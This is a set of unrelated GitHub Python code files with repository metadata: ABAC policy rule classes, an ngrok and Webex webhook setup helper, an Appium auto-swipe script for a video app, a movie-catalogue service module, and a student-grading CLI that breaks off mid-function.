Boolean Rule that is satisfied when 'what' is evaluated to a boolean true/false.\n Its `satisfied` accepts:\n - a callable without arguments\n - non-callable\n - expressions\n \"\"\"\n\n def satisfied(self, what: Callable[[Any], Any] | Any, inquiry: None = None) -> bool:\n res = what() if callable(what) else what\n return bool(res) == self.val\n\n @property\n @abstractmethod\n def val(self) -> bool:\n \"\"\"This should be overridden as a True/False getter property\"\"\"\n pass\n\n\nclass Truthy(BooleanRule):\n \"\"\"\n Rule that is satisfied when 'what' is evaluated to a boolean 'true'.\n For example:\n Policy: subjects=[{'role': Truthy(), 'name': Eq('Jimmy')}]\n Example in Inquiry: subjects={'role': user.is_admin()}\n \"\"\"\n\n rule_type: Literal[\"Truthy\"] = \"Truthy\"\n\n @property\n def val(self) -> bool:\n return True\n\n\nclass Falsy(BooleanRule):\n \"\"\"\n Rule that is satisfied when 'what' is evaluated to a boolean 'false'.\n For example:\n Policy: subjects=[{'role': Truthy(), 'name': Eq('Jimmy')}]\n Example in Inquiry: subjects={'role': not user.is_admin()}\n \"\"\"\n\n rule_type: Literal[\"Falsy\"] = \"Falsy\"\n\n @property\n def val(self) -> bool:\n return False\n\n\nclass CompositionRule(Rule, ABC):\n \"\"\"\n Abstract Rule that encompasses other Rules.\n \"\"\"\n\n rules: list[\"RuleType\"]\n\n\nclass And(CompositionRule):\n \"\"\"\n Rule that is satisfied when all the rules it's composed of are satisfied.\n For example:\n Policy: subjects=[{'stars': And(rules=(Greater(50), Less(120))), 'name': Eq('Jimmy')}]\n Example in Inquiry: subjects={'stars': 61}\n \"\"\"\n\n rule_type: Literal[\"And\"] = \"And\"\n\n def satisfied(self, what: Any, inquiry: Inquiry | None = None) -> bool:\n answers = [x.satisfied(what, inquiry) for x in self.rules]\n return len(answers) > 0 and all(answers)\n\n\nclass Or(CompositionRule):\n \"\"\"\n Rule that is satisfied when at least one of the rules it's composed of is satisfied.\n Uses short-circuit evaluation.\n For example:\n Policy: subjects=[{'stars': Or(rules=(Less(50), Greater(120))), 'name': Eq('Jimmy')}]\n Example in Inquiry: subjects={'stars': 121}\n \"\"\"\n\n rule_type: Literal[\"Or\"] = \"Or\"\n\n def satisfied(self, what: Any, inquiry: Inquiry | None = None) -> bool:\n for rule in self.rules:\n if rule.satisfied(what, inquiry):\n return True\n\n return False\n\n\nclass Not(Rule):\n \"\"\"\n Rule that negates another Rule.\n For example:\n Policy: subjects=[{'stars': Eq(555), 'name': Not(rule=Eq('Jimmy'))}]\n Example in Inquiry: subjects={'Not': \"Jimmy 3221\"}\n \"\"\"\n\n rule_type: Literal[\"Not\"] = \"Not\"\n rule: \"RuleType\"\n\n def satisfied(self, what: Any, inquiry: Inquiry | None = None) -> bool:\n return not self.rule.satisfied(what, inquiry)\n\n\nclass RuleAny(Rule):\n \"\"\"\n Rule that is always satisfied.\n For example:\n Policy: resources=[{'endpoint': Any(), 'method': Eq('POST')}]\n Example in Inquiry: resources={'endpoint': \"any_value\"}\n\n Policy: actions=[Any()]\n ...: action='get', action='foo'\n \"\"\"\n\n rule_type: Literal[\"RuleAny\"] = \"RuleAny\"\n\n def satisfied(self, what: None = None, inquiry: None = None) -> bool:\n return True\n\n\nclass Neither(Rule):\n \"\"\"\n Rule that always isn't satisfied.\n For example:\n Policy: resources=[{'endpoint': Any(), 'method': Eq('POST')}]\n Example in Inquiry: resources={'endpoint': \"any_value\"}\n\n Policy: subjects=[Neither()]\n ...: subject='Max', subject='Joe'\n \"\"\"\n\n rule_type: Literal[\"Neither\"] = \"Neither\"\n\n def satisfied(self, what: None = None, inquiry: None = None) -> bool:\n return False\n", "repo_name": "Rezyapkin/Online-Cinema-with-ABAC", "sub_path": "auth_service/grpc/src/services/abac/rules/logic.py", "file_name": "logic.py", "file_ext": "py", "file_size_in_byte": 4097, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "typing.TYPE_CHECKING", "line_number": 8, "usage_type": "name"}, {"api_name": "rules.base.Rule", "line_number": 15, "usage_type": "name"}, {"api_name": "abc.ABC", "line_number": 15, "usage_type": "name"}, {"api_name": "typing.Callable", "line_number": 24, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 24, "usage_type": "name"}, {"api_name": "abc.abstractmethod", "line_number": 29, "usage_type": "name"}, {"api_name": "typing.Literal", "line_number": 43, "usage_type": "name"}, {"api_name": "typing.Literal", "line_number": 58, "usage_type": "name"}, {"api_name": "rules.base.Rule", "line_number": 65, "usage_type": "name"}, {"api_name": "abc.ABC", "line_number": 65, "usage_type": "name"}, {"api_name": "rules.base", "line_number": 70, "usage_type": "name"}, {"api_name": "typing.Literal", "line_number": 81, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 83, "usage_type": "name"}, {"api_name": "guard.Inquiry", "line_number": 83, "usage_type": "name"}, {"api_name": "typing.Literal", "line_number": 97, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 99, "usage_type": "name"}, {"api_name": "guard.Inquiry", "line_number": 99, "usage_type": "name"}, {"api_name": "rules.base.Rule", "line_number": 107, "usage_type": "name"}, {"api_name": "typing.Literal", "line_number": 115, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 118, "usage_type": "name"}, {"api_name": "guard.Inquiry", "line_number": 118, "usage_type": "name"}, {"api_name": "rules.base.Rule", "line_number": 122, "usage_type": "name"}, {"api_name": "typing.Literal", "line_number": 133, "usage_type": "name"}, {"api_name": "rules.base.Rule", "line_number": 139, "usage_type": "name"}, {"api_name": "typing.Literal", "line_number": 150, "usage_type": "name"}]} {"seq_id": "26745087363", "text": "from __future__ import absolute_import, division, print_function\n\n__author__ = \"Tim Taylor \"\n__contributors__ = []\n__copyright__ = \"Copyright (c) 2018 Cisco and/or its affiliates.\"\n__license__ = \"Cisco Sample Code License, Version 1.0\"\n\nimport requests\nimport json\nimport os\nimport sys\n\nfrom requests.adapters import HTTPAdapter\n\n# version\nversion = \"1.0\"\n\n# ngrok URL\n\ntunnels_api_uri = \"/api/tunnels\"\n\ntunnel_delete_uri = \"/api/tunnels/\"\n\n# spark developer token\ndev_token = os.environ.get('SPARK_DEV_TOKEN')\nwebhook_base_url = \"https://api.ciscospark.com/v1/webhooks\"\n\nwebhook_request_headers = {\"Accept\" : \"application/json\",\"Content-Type\":\"application/json\", \"Authorization\": \"Bearer {}\".format(dev_token)}\n\n\ndef get_tunnels_list(ngrok_base_url):\n print(\"get_tunnels_list start\")\n error = \"\"\n active_tunnels = list()\n print(\" Getting the list of tunnels...\")\n tunnel_list_url = ngrok_base_url + tunnels_api_uri\n r = requests.get(tunnel_list_url, verify=False)\n print(\" ...Received List of Tunnels...\")\n\n# get the json object from the response\n json_object = json.loads(r.text)\n\n tunnels = json_object['tunnels']\n\n if r.status_code==200:\n for potential_tunnel in tunnels:\n# if potential_tunnel['name'].find('(http)') == -1:\n active_tunnels.append(potential_tunnel)\n\n else:\n error=\" Unable to list of tunnels\"\n print(\"get_tunnels_list end\")\n return active_tunnels,error\n\ndef delete_active_tunnels(tunnel_list, ngrok_base_url):\n print(\"delete_active_tunnels start\")\n errors=list()\n tunnel_delete_base_url = ngrok_base_url + tunnel_delete_uri\n\n print(\" beginning delete of tunnels...\")\n for tunnel_to_delete in my_active_tunnels:\n tunnel_name = tunnel_to_delete['name']\n tunnel_delete_complete_url = tunnel_delete_base_url + tunnel_name\n\n delete_request = requests.delete(tunnel_delete_complete_url, verify=False)\n if delete_request.status_code != 204:\n errors.append(\"Error Deleting tunnel: {}\".format(tunnel_name))\n print(\" ...ending delete of tunnels...\")\n print(\"delete_active_tunnels end\\n\")\n return errors\n\ndef public_tunnel_for_name(tunnel_name, tunnel_port, ngrok_base_url):\n print(\"public_tunnel_for_name start\")\n errors=list()\n public_tunnel = ()\n create_tunnel_url = ngrok_base_url + tunnels_api_uri\n \n # make sure you change the port!!\"\n print(\" creating new tunnel...\")\n tunnel_json = { 'addr' : tunnel_port, 'proto' : 'http', 'name' : tunnel_name}\n create_tunnel_response = requests.post(create_tunnel_url,json=tunnel_json,verify=False)\n if create_tunnel_response.status_code != 201:\n errors.append(\"Error creating tunnel: {}\".format(create_tunnel_response.status_code))\n else:\n jsonObject = json.loads(create_tunnel_response.text)\n public_tunnel = (jsonObject['public_url'],jsonObject['uri'])\n print(\" ...done creating new tunnel\")\n print(\"public_tunnel_for_name end\\n\")\n return public_tunnel,errors\n\ndef delete_prexisting_webhooks():\n print(\"delete_prexisting_webhooks start\")\n errors=list()\n\n print(\" deleting existing webhook...\")\n webhooks_list_response =requests.get(webhook_base_url,headers=webhook_request_headers, verify=False)\n\n if webhooks_list_response.status_code != 200:\n errors.append(\"Error getting list of webhooks: {}\".format(webhooks_list_response.status_code))\n\n else:\n webhooks = json.loads(webhooks_list_response.text)['items']\n\n if len(webhooks) > 0:\n\n for webhook in webhooks:\n delete_webhook_url = webhook_base_url + '/' + webhook['id']\n delete_webhook_response = requests.delete(delete_webhook_url,headers=webhook_request_headers)\n if delete_webhook_response.status_code != 204:\n errors.append(\"Delete Webhook Error code: {}\".format(delete_webhook_response.status_code))\n print(\" ...Deleted existing webhooks\")\n print(\"delete_prexisting_webhooks end\\n\")\n return errors\n\ndef update_webhook(webhook_request_json):\n print(\"update_webhook start\")\n\n webhook_creation_response = requests.post(webhook_base_url, json=webhook_request_json,\n headers=webhook_request_headers)\n if webhook_creation_response.status_code == 200:\n print(' Webhook creation for new tunnel successful!')\n else:\n print(' Webhook creation for new tunnel was not successful. Status Code: {}'.format(\n webhook_creation_response.status_code))\n\n print(\"update_webhook end\\n\")\n\n\nif __name__ == \"__main__\":\n\n port = 10040\n requests.packages.urllib3.disable_warnings()\n tunnel_name = \"myAppsTunnelName\"\n\n if sys.argv[1] =='version':\n print('\\n** ngrok-startup.py version: {}\\n'.format(version))\n else:\n port = sys.argv[1]\n tunnel_name = sys.argv[2]\n\n\n\n ngrok_base_url = \"http://127.0.0.1:4040\" # **** make sure you have the right port for your integration\"\n # Get list of tunnels\n my_active_tunnels,tunnel_list_error = get_tunnels_list(ngrok_base_url)\n\n if tunnel_list_error:\n print(\"error getting tunnel list: {}\".format(tunnel_list_error))\n exit()\n\n #delete all the tunnels so we can start from scratch.\n delete_tunnels_error = delete_active_tunnels(my_active_tunnels, ngrok_base_url)\n if delete_tunnels_error:\n print(\"...Error Deleting tunnels: {}\".format(delete_tunnels_error))\n exit()\n\n # Create a new tunnel\n demo_tunnel,errors = public_tunnel_for_name(tunnel_name, port, ngrok_base_url)\n if demo_tunnel[0] == \"\":\n print(\" error: {}\".format(errors))\n\n errors = delete_prexisting_webhooks()\n\n\n\n if errors:\n print(\"Errors webhooks: {}\".format(errors))\n exit()\n\n # create the new webhook with the new tunnel details.\n # to update a webhook. We just need to make sure we keep the same name as a previous one\n webhook_target_url = demo_tunnel[0]\n webhook_request_json = {\n \"resource\": \"messages\",\n \"event\": \"created\",\n \"targetUrl\": webhook_target_url,\n \"name\": tunnel_name\n }\n update_webhook(webhook_request_json)\n\n\n\n\n\n\n", "repo_name": "CiscoSE/ngrok-spark-startup-helper", "sub_path": "ngrok_startup.py", "file_name": "ngrok_startup.py", "file_ext": "py", "file_size_in_byte": 6226, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "7", "api": [{"api_name": "os.environ.get", "line_number": 25, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 25, "usage_type": "attribute"}, {"api_name": "requests.get", "line_number": 37, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 41, "usage_type": "call"}, {"api_name": "requests.delete", "line_number": 65, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 81, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 85, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 96, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 102, "usage_type": "call"}, {"api_name": "requests.delete", "line_number": 108, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 118, "usage_type": "call"}, {"api_name": "requests.packages.urllib3.disable_warnings", "line_number": 132, "usage_type": "call"}, {"api_name": "requests.packages", "line_number": 132, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 135, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 138, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 139, "usage_type": "attribute"}]} {"seq_id": "70450173344", "text": "# coding=utf8\n\n# 参考：https://github.com/Python3WebSpider/Moments/blob/master/moments.py\n# zenjoy-000354\n\nimport sys\nimport traceback\n\nsys.path.append('../')\nsys.path.append('../tiktok')\nsys.path.append('../utils')\nimport random\nfrom appium import webdriver\nfrom appium.webdriver.common.touch_action import TouchAction\nfrom time import sleep\nfrom crawlers01.tiktok_config import *\n\n\nclass Tiktok():\n # lang_to_crawl需要抓取的语言\n def __init__(self):\n \"\"\"\n 初始化\n \"\"\"\n # 驱动配置\n # fortunaltezh\n # devicename-dev: treltektt\n # devicename-online: ja3g\n # le_turbo 乐视\n # udid-online 4d0061fe4874a0eb\n # udid-dev 4100a5dbf2e6b191\n self.desired_caps = {\n 'platformName': 'Android',\n 'deviceName': 'ja3g',\n 'appPackage': 'com.jm.video',\n 'appActivity': '.ui.main.MainActivity',\n 'udid': '4d0061fe4874a0eb',\n \"noReset\": \"true\",\n }\n self.driver = webdriver.Remote(DRIVER_SERVER, self.desired_caps)\n # self.wait = WebDriverWait(self.driver, TIMEOUT)\n\n def enter(self):\n print('Entered the app.')\n sleep(random.randint(18, 22))\n # TouchAction(self.driver).press(x=372, y=902).move_to(x=372, y=596).release().perform()\n print('entered.')\n\n def move(self):\n # while True:\n print('start to move...')\n # sleep(3)\n for i in range(SCROLL_TIMES):\n # print('move for the [%d] time.' % i)\n try:\n print('Swipe for the %d time.' % i)\n TouchAction(self.driver).press(x=538, y=1552).move_to(x=499, y=414).release().perform()\n sleep(random.randint(18, 23))\n # sleep(35)\n # # 点击一下\n # TouchAction(self.driver).tap(x=707, y=898).perform()\n # sleep(0.5)\n # TouchAction(self.driver).tap(x=707, y=898).perform()\n # sleep(random.randint(1, 5))\n except Exception as e:\n traceback.print_exc()\n break\n\n def close(self):\n self.driver.close_app()\n print('closed')\n\n def main(self):\n # 进入app\n self.enter()\n # 滑动\n self.move()\n # 关闭app\n self.close()\n\n\ndef main():\n while True:\n try:\n tiktok_slider = Tiktok()\n tiktok_slider.main()\n except:\n traceback.print_stack()\n continue\n\n\nif __name__ == '__main__':\n main()\n", "repo_name": "xuanzhang2017/runze_crawler_in_git", "sub_path": "zmt_video_crawler/crawlers01/appium_shuabao_000295.py", "file_name": "appium_shuabao_000295.py", "file_ext": "py", "file_size_in_byte": 2574, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "sys.path.append", "line_number": 9, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 9, "usage_type": "attribute"}, {"api_name": "sys.path.append", "line_number": 10, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 10, "usage_type": "attribute"}, {"api_name": "sys.path.append", "line_number": 11, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 11, "usage_type": "attribute"}, {"api_name": "appium.webdriver.Remote", "line_number": 40, "usage_type": "call"}, {"api_name": "appium.webdriver", "line_number": 40, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 45, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 45, "usage_type": "call"}, {"api_name": "appium.webdriver.common.touch_action.TouchAction", "line_number": 57, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 58, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 58, "usage_type": "call"}, {"api_name": "traceback.print_exc", "line_number": 66, "usage_type": "call"}, {"api_name": "traceback.print_stack", "line_number": 88, "usage_type": "call"}]} {"seq_id": "25972726489", "text": "from typing import List, Iterable\nfrom movies.adapters.repository import AbstractRepository\nfrom movies.domain.model import Movie, Genre, Actor, Director\n\n\nclass NonExistentMovieException(Exception):\n pass\n\n\nclass UnknownUserException(Exception):\n pass\n\n\ndef get_movie(movie_rank: int, repo: AbstractRepository):\n movie = repo.get_movie(movie_rank)\n\n if movie is None:\n raise NonExistentMovieException\n\n return movie_to_dict(movie)\n\n\ndef get_first_movie(repo: AbstractRepository):\n movie = repo.get_first_movie()\n\n return movie_to_dict(movie)\n\n\ndef get_last_movie(repo: AbstractRepository):\n movie = repo.get_last_movie()\n\n return movie_to_dict(movie)\n\n\ndef get_movie_by_a_rank(rank, repo: AbstractRepository):\n movie = repo.get_movie(rank)\n movie_dict = movie_to_dict(movie)\n prev_rank = next_rank = None\n if movie.rank == 1:\n prev_rank = None\n next_rank = 4\n elif movie.rank == 1000:\n prev_rank = 997\n next_rank = None\n elif 1 < movie.rank < 1000:\n prev_rank = movie.rank - 3\n next_rank = movie.rank + 3\n\n return movie_dict, prev_rank, next_rank\n\n\ndef get_movies_by_rank(rank_list, repo: AbstractRepository):\n movies = repo.get_movies_by_rank(rank_list)\n movies_as_dict = movies_to_dict(movies)\n\n return movies_as_dict\n\n\ndef mov_on_page(current_rank, repo: AbstractRepository):\n rank_list = [current_rank, current_rank + 1, current_rank + 2]\n movies = get_movies_by_rank(rank_list, repo)\n\n return movies\n\n\ndef get_movies_ranks_for_genre(genre_name, repo: AbstractRepository):\n movie_ranks = repo.get_movie_ranks_for_genre(genre_name)\n\n return movie_ranks\n\n# ============================================\n# Functions to convert model entities to dicts\n# ============================================\n\n\ndef movie_to_dict(movie: Movie):\n movie_dict = {\n 'rank': movie.rank,\n 'title': movie.title,\n 'director': movie.director,\n 'year': movie.release_year,\n 'plot': movie.description,\n 'runtime': movie.runtime_minutes,\n 'genres': genres_to_dict(movie.genres),\n 'actors': actors_to_dict(movie.actors),\n 'actors_str': actors_to_str(movie.actors),\n 'genres_str': genres_to_str(movie.genres),\n 'rating': movie.rating,\n 'revenue': movie.revenue,\n 'metascore': movie.metascore,\n 'votes': movie.votes\n }\n return movie_dict\n\n\ndef movies_to_dict(movies: Iterable[Movie]):\n return [movie_to_dict(movie) for movie in movies]\n\n\ndef genre_to_dict(genre: Genre):\n genre_dict = {\n 'name': genre.genre_name,\n 'tagged_movies': [movie.rank for movie in genre.tagged_movies]\n }\n return genre_dict\n\n\ndef genres_to_dict(genres: Iterable[Genre]):\n return [genre_to_dict(genre) for genre in genres]\n\n\ndef actor_to_dict(actor: Actor):\n actor_dict = {\n 'name': actor.actor_name\n }\n return actor_dict\n\n\ndef actors_to_dict(actors: Iterable[Actor]):\n return [actor_to_dict(actor) for actor in actors]\n\n\ndef actors_to_str(list_of_actors: Iterable[Actor]):\n return '{}, {}, {}, {}'.format(list_of_actors[0].actor_name,\n list_of_actors[1].actor_name,\n list_of_actors[2].actor_name,\n list_of_actors[3].actor_name)\n\n\ndef genres_to_str(list_of_genres: Iterable[Genre]):\n string = ''\n\n for genre in list_of_genres:\n string += genre.genre_name + ', '\n\n return string[:-2]\n", "repo_name": "JackHH7297/CS-235Assignment2", "sub_path": "movies/movie/services.py", "file_name": "services.py", "file_ext": "py", "file_size_in_byte": 3529, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "movies.adapters.repository.AbstractRepository", "line_number": 14, "usage_type": "name"}, {"api_name": "movies.adapters.repository.AbstractRepository", "line_number": 23, "usage_type": "name"}, {"api_name": "movies.adapters.repository.AbstractRepository", "line_number": 29, "usage_type": "name"}, {"api_name": "movies.adapters.repository.AbstractRepository", "line_number": 35, "usage_type": "name"}, {"api_name": "movies.adapters.repository.AbstractRepository", "line_number": 52, "usage_type": "name"}, {"api_name": "movies.adapters.repository", "line_number": 53, "usage_type": "name"}, {"api_name": "movies.adapters.repository", "line_number": 54, "usage_type": "argument"}, {"api_name": "movies.adapters.repository.AbstractRepository", "line_number": 59, "usage_type": "name"}, {"api_name": "movies.adapters.repository", "line_number": 61, "usage_type": "name"}, {"api_name": "movies.adapters.repository", "line_number": 63, "usage_type": "name"}, {"api_name": "movies.adapters.repository.AbstractRepository", "line_number": 66, "usage_type": "name"}, {"api_name": "movies.domain.model.Movie", "line_number": 76, "usage_type": "name"}, {"api_name": "typing.Iterable", "line_number": 96, "usage_type": "name"}, {"api_name": "movies.domain.model.Movie", "line_number": 96, "usage_type": "name"}, {"api_name": "movies.adapters.repository", "line_number": 97, "usage_type": "name"}, {"api_name": "movies.domain.model.Genre", "line_number": 100, "usage_type": "name"}, {"api_name": "typing.Iterable", "line_number": 108, "usage_type": "name"}, {"api_name": "movies.domain.model.Genre", "line_number": 108, "usage_type": "name"}, {"api_name": "movies.domain.model.Actor", "line_number": 112, "usage_type": "name"}, {"api_name": "typing.Iterable", "line_number": 119, "usage_type": "name"}, {"api_name": "movies.domain.model.Actor", "line_number": 119, "usage_type": "name"}, {"api_name": "typing.Iterable", "line_number": 123, "usage_type": "name"}, {"api_name": "movies.domain.model.Actor", "line_number": 123, "usage_type": "name"}, {"api_name": "typing.Iterable", "line_number": 130, "usage_type": "name"}, {"api_name": "movies.domain.model.Genre", "line_number": 130, "usage_type": "name"}]} {"seq_id": "6871596066", "text": "import sys\nimport os\nproject_directory = os.path.abspath(os.path.join(os.path.dirname(__file__), '..'))\nsys.path.append(project_directory)\n\n# Now you can import from models\nfrom models.models import *\nfrom database.Session_and_Base import *\nimport click\nimport random\n\n\n\n@click.group(name='teacher')\ndef teacher_command():\n '''teachers related commands'''\n# '''---------------A D D TEACHER-------------------'''\n@teacher_command.command()\n@click.option(\"--first_name\" ,'-fn',prompt='Enter FNAME', type = str)\n@click.option(\"--last_name\" ,'-ln',prompt='Enter LNAME', type = str)\n@click.option(\"--salary\",'-s',prompt='Enter salary', type = int)\n@click.option(\"--bank_account\",'-ba',prompt='Enter bank_account', type = int)\ndef add_teacher( first_name,last_name,salary,bank_account):\n ''' add a new teacher, first_name last_name salary and bank_acc'''\n if first_name.isalpha() and last_name.isalpha() and isinstance(salary,int) and isinstance(bank_account,int):\n teacher = Teacher(\n first_name=first_name.title(),\n last_name=last_name.title(),\n salary=salary,\n bank_acount= bank_account\n )\n else:\n click.echo( '-------please enter the credentials using the correct data types----------')\n\n teacher_exists = session.query(Teacher).filter_by(\n\n first_name = teacher.first_name,\n last_name = teacher.last_name,\n salary = teacher.salary,\n bank_acount = teacher.bank_acount,\n ).first()\n \n if teacher_exists is None:\n session.add(teacher)\n session.commit()\n click.echo('teacher added successfully ')\n else:\n click.echo('teacher already exists in the database ')\n\n\n\n\n\n# '''------------------ D E L E T E teacher------------------'''\n@teacher_command.command()\n@click.option('--teacher_full_name', '-tf', prompt = \"Enter the teacher's full name\")\ndef delete_teacher(teacher_full_name):\n '''deletes a teacher and updates course table'''\n if len(teacher_full_name.split(' ')) == 2 and isinstance(teacher_full_name, str):\n fname,lname = teacher_full_name.split(' ')\n \n # let's check if the teacher exists in the records\n teacher= session.query(Teacher).filter( Teacher.first_name.like(f\"%{fname}%\"), Teacher.last_name.like(f\"%{lname}%\")).first()\n # let's find the course instance that is assigned to the teacher above\n if teacher is not None:\n print('--------------------')\n # find another teacher to assign the course to \n assign_course_to_another_teacher_id =(random.choice([teach.id for teach in session.query(Teacher).all()]))\n # update the teachers_id column in the course with the new teacher id\n assigned_course = session.query(Course).filter_by(teachers_id = teacher.id).update({\n Course.teachers_id : assign_course_to_another_teacher_id\n })\n # print(,assign_course_to_another_teacher_id)#' this teacher id will replace the old one-->'\n #delete the old teacher\n session.delete(teacher) \n session.commit() \n \n else:\n click.echo(click.style('\\n--------- !! E R R O R !! ---------------------',fg='red',bold=True)) \n click.echo(click.style('Not found',fg='red', bold=True))\n else:\n click.echo(click.style('\\n--------- !! E R R O R !! ---------------------',fg='red',bold=True)) \n click.echo(click.style('Please enter full name spereted by space',fg='red', bold=True))\n\n\n\n'''-----------------U P D A T E _____________T E A C H E R-------------'''\n\n\n@teacher_command.command()\n@click.option('--teacher_full_name', '-tf', prompt = \"Enter the teacher's full name\")\ndef update_teacher(teacher_full_name):\n '''-----update a teacher's information'''\n # get the table column names using inspector\n # inspector = inspect(session.get_bind())\n # table_columns = ([column['name'] for column in inspector.get_columns(Teacher.__table__.name)])\n options={'all':'all', 'fn':'first_name', 'ln':'last_name', 'sal':'salary', 'acc':'bank_acount'}\n if len(teacher_full_name.split(' ')) ==2 and isinstance(teacher_full_name,str):\n fname,lname= teacher_full_name.split(' ')\n #check if the teacher EXISTS in the databse\n teacher= session.query(Teacher).filter( Teacher.first_name.like(f\"%{fname.title()}%\"), Teacher.last_name.like(f\"%{lname.title()}%\")).first()\n # let's find the course instance that is assigned to the teacher above\n if teacher is not None:\n user_option = click.prompt('which colum do you want to update', type=click.Choice(options))\n if user_option =='all':\n fname =click.prompt('Enter first name ')\n lname=click.prompt('Enter last name ')\n salary=click.prompt('Enter salary amount')\n bank_account=click.prompt('Enter bank_account number ')\n session.query(Teacher).filter_by(id = teacher.id).update({\n Teacher.first_name : fname.title(),\n Teacher.last_name : lname.title(),\n Teacher.salary : salary,\n Teacher.bank_acount : bank_account\n\n })\n session.commit()\n click.echo(click.style('successfully updated the teacher information',fg='white',bg='green'))\n elif user_option =='fn':\n fname =click.prompt('Enter first name ')\n session.query(Teacher).filter_by(id = teacher.id).update({\n Teacher.first_name : fname.title()\n \n\n })\n session.commit()\n click.echo(click.style('successfully updated the teacher first_name',fg='white',bg='green'))\n \n elif user_option=='ln':\n lname =click.prompt('Enter last name ')\n session.query(Teacher).filter_by(id = teacher.id).update({\n Teacher.last_name : lname.title()\n \n\n })\n session.commit()\n click.echo(click.style('successfully updated the teacher last_name',fg='white',bg='green'))\n\n elif user_option=='sal':\n salary =int(click.prompt('Enter salary '))\n session.query(Teacher).filter_by(id = teacher.id).update({\n Teacher.salary : salary\n \n\n })\n session.commit()\n click.echo(click.style('successfully updated the teacher salary',fg='white',bg='green'))\n\n elif user_option=='acc':\n bank_account =int(click.prompt('Enter bank_account '))\n session.query(Teacher).filter_by(id = teacher.id).update({\n Teacher.salary : bank_account\n \n\n })\n session.commit()\n click.echo(click.style('successfully updated the teacher salary',fg='white',bg='green'))\n\n \n\n else:\n click.echo(click.style('\\n--------- !! E R R O R !! ---------------------',fg='red',bold=True)) \n click.echo(click.style('teacher does not Exist',fg='red'))\n else:\n click.echo(click.style('\\n--------- !! E R R O R !! ---------------------',fg='red',bold=True)) \n click.echo(click.style('please enter string of first and last names ',fg='red'))\n\n\n\n \n \n'''-----------------D I S P L A Y ________ A L L _________T E A C H E R-------------'''\n@teacher_command.command()\ndef display_all_teachers():\n '''display all the teachers in our records'''\n for teacher in session.query(Teacher).all():\n click.echo(click.style(teacher,fg='blue',bold=True))\n\n\n\n\n'''----------D I S P L A Y _______T E A C H E R_____COURSES-------------'''\n\n@teacher_command.command()\n@click.option(\"--teacher_full_name\", prompt = 'Enter teacher full name')\ndef teacher_courses(teacher_full_name):\n '''display all the courses a particular student is taking'''\n fname,lname= (teacher_full_name.split(' ')) \n teacher = session.query(Teacher).filter(Teacher.first_name.like(f\"%{fname.title()}%\"), Teacher.last_name.like(f\"%{lname.title()}%\")).first()\n \n click.echo( f\"--- studetn is taking {len(teacher.course)} courses, \")\n for course in teacher.course:\n print('---------------------------------------------------')\n click.echo(click.style(course,fg='white',bg='magenta'))\n\n\n'''---------------G R A D E _________S T U D E N T S____________C O U R S E'''\n\n# ---------G R A D E_____________-C H E C K E R-------------------------------\ndef grade_checker(marks):\n if marks >= 0 and marks <= 100:\n if marks >= 75 and marks <= 100:\n return 'A'\n elif marks >= 67 and marks < 75:\n return 'B'\n elif marks >= 57 and marks < 67:\n return 'C'\n elif marks > 50 and marks < 57:\n return 'D'\n elif marks >= 40 and marks < 50:\n return 'E'\n else:\n return'F'\n else:\n return\n\n@teacher_command.command()\n@click.option(\"--teacher_full_name\", prompt = 'Enter teacher full name')\ndef grade_a_student(teacher_full_name):\n '''grade a student'''\n #-------------------------------------------------------------------\n # get the course names from the table \n cours_names= session.query(Course.course_name).all()\n # declare an empty dictto populate with numbers as keys and the course_names values\n course_options = {}\n for num , course in zip(range(1,len(cours_names)+1), cours_names):\n course_options.update({num:course})\n # print({num:course})\n # print(course_options)\n#-------------------------------------------------------------------\n\n\n if len(teacher_full_name.split(' ')) ==2 and isinstance(teacher_full_name,str):\n fname,lname= teacher_full_name.split(' ')\n #check if the teacher EXISTS in the databse\n teacher= session.query(Teacher).filter( Teacher.first_name.like(f\"%{fname.title()}%\"), Teacher.last_name.like(f\"%{lname.title()}%\")).first()\n # check if the teacher exisits in the database\n if teacher is not None:\n # prompt the teacher to enter the user name\n student_name = str((click.prompt('Enter student full_name')))\n #check if the student name is a string and containes names\n if len(student_name.split(' ')) ==2 and isinstance(student_name,str):\n #destructure the student name into first and last name\n stud_fname, stud_lname = student_name.split(' ')\n # check if the studetn exists in the database\n stud_instance = session.query(Student).filter(Student.first_name.like(f\"%{stud_fname.title()}%\"), Student.last_name.like(f\"%{stud_lname.title()}%\")).first()\n # if stud_instance is not None:\n if stud_instance is not None:\n for key,course, in course_options.items():\n click.echo(f\" {key}--{course[0]}\")\n \n # enter the number corresponding to the course you want\n key = int((click.prompt('choose a course number')))\n # if the course key exist, then get the course isntance from the table\n if (key) in course_options.keys() :\n chosen_course = (course_options[key])\n cours_instance = session.query(Course).filter_by(id =key).first()\n # print(stud_instance)\n # click.echo(cours_instance)\n # take the student grade\n marks = int((click.prompt('Enter student marks')))\n grade = grade_checker(marks)\n if grade is not None:\n # create the grade instance and add to the grade table\n grade_instance = Grade(\n student_id=stud_instance.id,\n course_id=cours_instance.id,\n mark=marks,\n grade=grade,\n )\n #check if grade already exists in the database\n grade_exists= 